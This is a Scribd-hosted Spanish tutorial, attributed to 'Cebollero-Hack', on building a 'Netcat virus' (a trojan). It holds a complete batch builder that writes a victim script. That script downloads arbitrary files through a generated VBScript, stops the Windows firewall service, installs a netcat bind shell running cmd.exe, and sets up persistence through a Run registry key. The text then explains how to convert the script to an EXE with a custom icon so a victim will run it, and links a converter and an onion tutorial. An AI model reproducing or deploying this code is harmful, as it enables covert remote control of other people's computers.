0% found this document useful (0 votes)
114 views5 pages

Código:: Cita:echo Off

This document describes creating a Netcat virus using Batch code that can be converted to an EXE file. It includes the Batch code to create a file with a selected name that will open a listening port for Netcat. It also includes code for a downloader VBScript to retrieve files from URLs and options for selecting the port and getting information about using the program to create remote access to an infected system.

Uploaded by

Oscar Lopez
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
114 views5 pages

Código:: Cita:echo Off

This document describes creating a Netcat virus using Batch code that can be converted to an EXE file. It includes the Batch code to create a file with a selected name that will open a listening port for Netcat. It also includes code for a downloader VBScript to retrieve files from URLs and options for selecting the port and getting information about using the program to create remote access to an infected system.

Uploaded by

Oscar Lopez
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 5

Virus Netcat [Batch a Exe]

Crearemos un [Troyano netcat] usando este Batch y lo convertiremos en EXE.


Cdigo:
Cita:echo off
color 1a
mode con cols=65lines=44
title Netcat Virus [Cebollero-Hack]
cls
echo.
echo #############################################
echo Nc Virus [Cebollero-Hack]
echo #############################################
echo.
echo Seleciona el nombre para el Virus:
echo.
set /p name=
echo @echo off > C:\%name%.bat
echo.
echo Archivo Creado en C:\ con el nombre: %name%.bat
pause > nul
goto menu
:menu
title Netcat Virus [Cebollero-Hack]
cls
echo.
echo #############################################
echo Nc Virus [Cebollero-Hack]
echo #############################################
echo.
echo.
echo Utilice el descargador para bajar Nc en el pc de la victima.
echo Utilice Abrir puertos para selecionar el puerto a abrir
echo.
echo.
echo 1.Selecionar las opciones de descarga
echo 2.Abrir puerto de Netcat
echo 3.Informacion
echo 4.Finalizar
echo.
echo.
set /p menup=Que desea realizar?:
if %menup%==1 goto descargador
if %menup%==2 goto netcat
if %menup%==3 goto info
if %menup%==4 goto finalizar

:descargador
title -Descargador De Archivos
Cls
echo Escriba la direccion de la descarga
set /p direciondescarga=
echo Escriba la ruta en la que se guardara(ej: C:\imagen.png o C:\programa.exe)
set /p guardardescarga=
echo Escriba un nombre para utilizar el vbs
set /p descarga=
echo echo Const adTypeBinary = 1 ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Const adSaveCreateOverWrite = 2 ^>^>c:\%descarga%.vbs >> C:\%name
%.bat
echo echo Dim BinaryStream ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Set BinaryStream = CreateObject("ADODB.Stream") ^>^>c:\%descarga
%.vbs >> C:\%name%.bat
echo echo BinaryStream.Type = adTypeBinary ^>^>c:\%descarga%.vbs >> C:\
%name%.bat
echo echo BinaryStream.Open ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) ^>^>c:\
%descarga%.vbs >> C:\%name%.bat
echo echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite
^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Function BinaryGetURL(URL) ^>^>c:\%descarga%.vbs >> C:\%name
%.bat
echo echo Dim Http ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") ^>^>c:\
%descarga%.vbs >> C:\%name%.bat
echo echo Http.Open "GET", URL, False ^>^>c:\%descarga%.vbs >> C:\%name
%.bat
echo echo Http.Send ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo BinaryGetURL = Http.ResponseBody ^>^>c:\%descarga%.vbs >> C:\
%name%.bat
echo echo End Function ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo CScript //nologo c:\%descarga%.vbs "%direciondescarga%"
"%guardardescarga%" >> C:\%name%.bat
echo Del c:\%descarga%.vbs >> C:\%name%.bat
goto menu
:netcat
cls
echo Selecione el puerto para NetCat
echo.
echo Luego podra conectarse al pc mediante
echo netcat en ese puerto.
echo.
set /p puerto=

echo NET STOP "SharedAccess" >> C:\%name%.bat


echo echo @echo off ^>^> C:\netcat.bat >> C:\%name%.bat
echo echo nc -d -L -p %puerto% -e cmd.exe ^>^> C:\netcat.bat >> C:\%name%.bat
echo echo exit ^>^> C:\netcat.bat >> C:\%name%.bat
echo reg add hklm\software\microsoft\windows\currentversion\run /V
C:\netcat.bat /D %windir%\system32\netcat.bat>> C:\%name%.bat
echo copy /Y C:\netcat.bat %windir%\system32 >> C:\%name%.bat
echo del C:\netcat.bat >> C:\%name%.bat
cls
echo ok, virus nc editado.
pause > nul
goto menu
:info
cls
echo.
echo #############################################
echo Nc Virus [Cebollero-Hack]
echo #############################################
echo.
echo Utilize este programa para crear un acceso a una pc
echo desde netcat, utilize el descargador para que se
echo descargue netcat o un zip con este(abra que descomprimir)
echo y luego incluya el codigo para abrir el puerto.
echo.
echo.
echo Cebollero-Hack
pause >null
goto menu
:finalizar
echo exit >> C:\%name%.bat
exit
Solo lo copian y lo pegan en su editor de texto luego lo guardas con formato bat
Explicar cmo funciona

1. Este crea un [virus.bat] que la victima ejecuta y deja una shell en escucha en
tal puerto que pongan ustedes. Luego que nos conectemos mediante ella
obtendremos acceso a su sistema por completo, osea nos saldr una shell donde
podremos ejecutar comandos en el sistema victima :D.

Puedes convertir ese [virus.bat] en [virus.exe]...pero cmo?...


Gracias a este programa:
Link= http://bit.ly/1AVnIiQ
Abres el [Bat_To_Exe_Converter.exe] y saldr una ventana como esta:

Le dan en [Batch file] y seleccionan su [virus.bat].


Nota: En [versionInformations] podemos elegir el cono deseado y veras tambien
algunas otras funciones.
Bien. En [Save as..] Puedes guardar tu [virus.bat] convertido en [virus.exe] donde
desees :D
y quedara asi:

Pruebo con uno de los [archivos.bat] convertidos a [archivos.exe] y corre bien:

Para los que inician aqui un tuto: [


http://54ogum7gwxhtgiya.onion/insertor/view/5a8b30fb ]

You might also like